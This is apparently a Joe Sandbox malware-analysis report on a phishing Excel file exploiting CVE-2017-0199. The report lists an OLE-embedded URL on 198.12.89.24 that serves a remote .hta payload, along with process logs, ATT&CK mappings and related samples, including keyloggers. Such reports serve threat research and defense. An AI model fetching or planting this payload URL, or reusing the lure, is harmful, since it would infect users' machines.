Source: PO-ARJ-2025-15ACA.xla.xlsx, F0230000.0.dr

String found in binary or memory: http://198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49741 version: TLS 1.2

System Summary

Excel sheet contains many unusual embedded objects

Source: PO-ARJ-2025-15ACA.xla.xlsx	OLE: Microsoft Excel 2007+
Source: PO-ARJ-2025-15ACA.xla.xlsx	OLE: Microsoft Excel 2007+
Source: F0230000.0.dr	OLE: Microsoft Excel 2007+
Source: F0230000.0.dr	OLE: Microsoft Excel 2007+

Source: PO-ARJ-2025-15ACA.xla.xlsx

OLE indicator, VBA macros: true

Source: PO-ARJ-2025-15ACA.xla.xlsx	Stream path 'MBD003296A9/\x1Ole' : http://198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta}c2k~;YMP~#:jul8imQHRNLi4k6agtJlqyK7jVsacjoYbopLX46EpMikrPqaGOCPkjhGSlluzrHNA19YzF94SOYQ3dY7G64aAc5cVj5Mq42wOwJg1dZUVXBkJMbxE2CZvqYTLfQiGju8bBNONAaGVKbLATmvFae8iKP5g7HCwh=l t8UOV
Source: F0230000.0.dr	Stream path 'MBD003296A9/\x1Ole' : http://198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta}c2k~;YMP~#:jul8imQHRNLi4k6agtJlqyK7jVsacjoYbopLX46EpMikrPqaGOCPkjhGSlluzrHNA19YzF94SOYQ3dY7G64aAc5cVj5Mq42wOwJg1dZUVXBkJMbxE2CZvqYTLfQiGju8bBNONAaGVKbLATmvFae8iKP5g7HCwh=l t8UOV

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Window title found: microsoft excel okexcel cannot open the file 'po-arj-2025-15aca.xla.xlsx' because the file format or file extension is not valid. verify that the file has not been corrupted and that the file extension matches the format of the file.

Source: classification engine

Classification label: mal60.winXLSX@4/8@1/2

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PO-ARJ-2025-15ACA.xla.xlsx

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{B525119E-46EC-4BF6-B5AC-B72D9439D9BF} - OProcSessId.dat

Jump to behavior

Source: PO-ARJ-2025-15ACA.xla.xlsx	OLE indicator, Workbook stream: true
Source: F0230000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: PO-ARJ-2025-15ACA.xla.xlsx	Virustotal: Detection: 43%
Source: PO-ARJ-2025-15ACA.xla.xlsx	ReversingLabs: Detection: 38%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\PO-ARJ-2025-15ACA.xla.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3EE60F5C-9BAD-4CD8-8E21-AD2D001D06EB}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: PO-ARJ-2025-15ACA.xla.xlsx

Static file information: File size 1172992 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: F0230000.0.dr

Initial sample: OLE indicators vbamacros = False

Source: PO-ARJ-2025-15ACA.xla.xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: PO-ARJ-2025-15ACA.xla.xlsx	Stream path 'MBD003296A8/MBD00320C7F/Package' entropy: 7.98905669124 (max. 8.0)
Source: PO-ARJ-2025-15ACA.xla.xlsx	Stream path 'Workbook' entropy: 7.99170439258 (max. 8.0)
Source: F0230000.0.dr	Stream path 'MBD003296A8/MBD00320C7F/Package' entropy: 7.98905669124 (max. 8.0)
Source: F0230000.0.dr	Stream path 'Workbook' entropy: 7.95804038467 (max. 8.0)

Source: C:\Windows\splwow64.exe

Window / User API: threadDelayed 838

Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Exploitation for Client Execution	1 Scripting	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	1 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO-ARJ-2025-15ACA.xla.xlsx	44%	Virustotal		Browse
PO-ARJ-2025-15ACA.xla.xlsx	39%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
PO-ARJ-2025-15ACA.xla.xlsx	100%	Avira	W97M/AVI.Agent.ziexl

Source	Detection	Scanner	Label	Link
http://198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-0005.dual-s-msedge.net	52.123.129.14	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
otelrules.svc.static.microsoft	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/excel.exe-Production-v19.bundle	false		high
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
http://198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120603v8s19.xml	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
198.12.89.24	unknown	United States		36352	AS-COLOCROSSINGUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1639278
Start date and time:	2025-03-15 08:53:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO-ARJ-2025-15ACA.xla.xlsx
Detection:	MAL
Classification:	mal60.winXLSX@4/8@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.109.89.19, 23.60.203.209, 104.208.16.90, 52.109.28.46, 20.189.173.26, 52.123.129.14, 20.190.160.5, 4.245.163.56, 20.223.36.55, 150.171.28.10, 184.86.251.22
Excluded domains from analysis (whitelisted): onedscolprdwus19.westus.cloudapp.azure.com, slscr.update.microsoft.com, weu-azsc-000.roaming.officeapps.live.com, g.bing.com, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, arc.msn.com, mobile.events.data.microsoft.com, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, dual-s-0005-office.config.skype.com, login.live.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, www.bing.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, onedscolprdcus14.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, config.officeapps.live.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net, mobile.event
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:55:48	API Interceptor	876x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.12.89.24	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/glorry/iineveryiceskillwithgreatnewsgivenmebest.hta?&valuable=animated
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/glorry/iineveryiceskillwithgreatnewsgivenmebest.hta?&valuable=animated
	wekissingbestgirleveryseenwithmygirl.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger, VIP Keylogger	Browse	198.12.89.24/312/cosse.exe
	signed contract 01.xls	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/nso/wekissingbestgirleveryseenwithmygirl.hta
	signed contract 01.xls	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/nso/wekissingbestgirleveryseenwithmygirl.hta
	niceworkingskillwithbestideasevermade.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	198.12.89.24/123/casse.exe
	Order_Mar25.xls	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/ncv/niceworkingskillwithbestideasevermade.hta
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	P0-0994-12.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	Wacatac 0.5.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Wacatac 0.5.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Sweepingcorp00990__098.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
s-0005.dual-s-msedge.net	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	52.123.129.14
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	52.123.128.14
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	52.123.128.14
	P0-0994-12.xls	Get hash	malicious	Unknown	Browse	52.123.128.14
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	52.123.128.14
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	52.123.128.14
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	52.123.128.14
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	52.123.129.14
	e25fb69..eml	Get hash	malicious	Unknown	Browse	52.123.128.14
	SWIFTCOPY 20231707.docx	Get hash	malicious	Unknown	Browse	52.123.129.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	192.3.95.138
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.24
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.24
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	192.3.95.138
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.24
	hgfs.arm5.elf	Get hash	malicious	Unknown	Browse	107.172.154.249
	KKveTTgaAAsecNNaaaa.x86_64.elf	Get hash	malicious	Unknown	Browse	192.3.129.109
	2025-027RC2-ORDEN AVOCOMEX.xls	Get hash	malicious	Unknown	Browse	192.3.101.146
MICROSOFT-CORP-MSN-AS-BLOCKUS	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	P0-0994-12.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.67
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	P0-0994-12.xls	Get hash	malicious	Unknown	Browse	52.123.128.14
	hgfs.arm5.elf	Get hash	malicious	Unknown	Browse	52.246.79.20
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	20.143.252.209

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Other.Malware-gen.8493.9635.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	(Ref PO24777.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Win32.PWSX-gen.3592.16192.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60
	W1FREE.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Other.Malware-gen.17831.10614.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	Software Installer.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Set-up.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	13.107.246.60
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60
	KMSPico Malware.zip	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Temp\79956251.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	784
Entropy (8bit):	2.7137690747287806
Encrypted:	false
SSDEEP:	24:YIrNvpKAzLRwcfHGF8AJp9WtAZRJ5poIHWI:YmbfzLmc88AJtfJ52IHV
MD5:	09F73B3902CD3D88E04312787956B654
SHA1:	A6C275F1A65DB02D8A752C614C27E88326447C41
SHA-256:	72971990E5DC57AC8F4F27701158F6DC16E235814EA17DECA95E59CF5F60BC26
SHA-512:	6A68530BA4D4413B587E340CF871162036B6AC60AC0F969C07C70967C3102ADDE3C895BA6F1E2590D9D0C98C253ADFA33CA84E65106C3B56F506FE0E06F0ADA9
Malicious:	false
Reputation:	moderate, very likely benign file
